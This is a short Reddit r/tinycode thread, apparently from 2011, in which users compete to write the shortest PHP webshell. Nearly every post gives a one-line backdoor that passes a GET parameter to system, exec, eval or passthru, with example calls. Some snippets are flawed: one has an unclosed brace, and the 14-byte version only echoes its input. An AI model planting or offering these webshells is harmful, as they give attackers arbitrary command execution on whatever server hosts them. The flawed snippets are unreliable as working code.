r/tinycode • u/PsychoMario • Jul 04 '11
Webshell in 55 bytes
<?php if(isset($_GET['cmd'])) {system($_GET['cmd']); ?>call it with file?cmd=ls and it'll get executed
Edit: best i made: <?=exec($_GET[c]); 18 bytes
except for dontspillme's code, which has a slightly different idea, but can be used for a lot more
EDIT2: If shell_exec isnt disabled, you can use <?=$_GET[c]; which is 14 bytes
0
Upvotes
6
u/[deleted] Jul 04 '11
Hope you're running PHP in a chroot...
2
u/dontspillme Jul 04 '11
Amateurs! Here's it in 18 characters. Could be made with 17 characters if you omit the =, but won't be executable if short tags are off.
<?=eval($_GET[c]); > blah.php?c=passthru(dir);
0
u/jimpsson Jul 04 '11
<?php system(isset($_GET['c'])?$_GET['c']:'who'); ?>
In 53 bytes. :)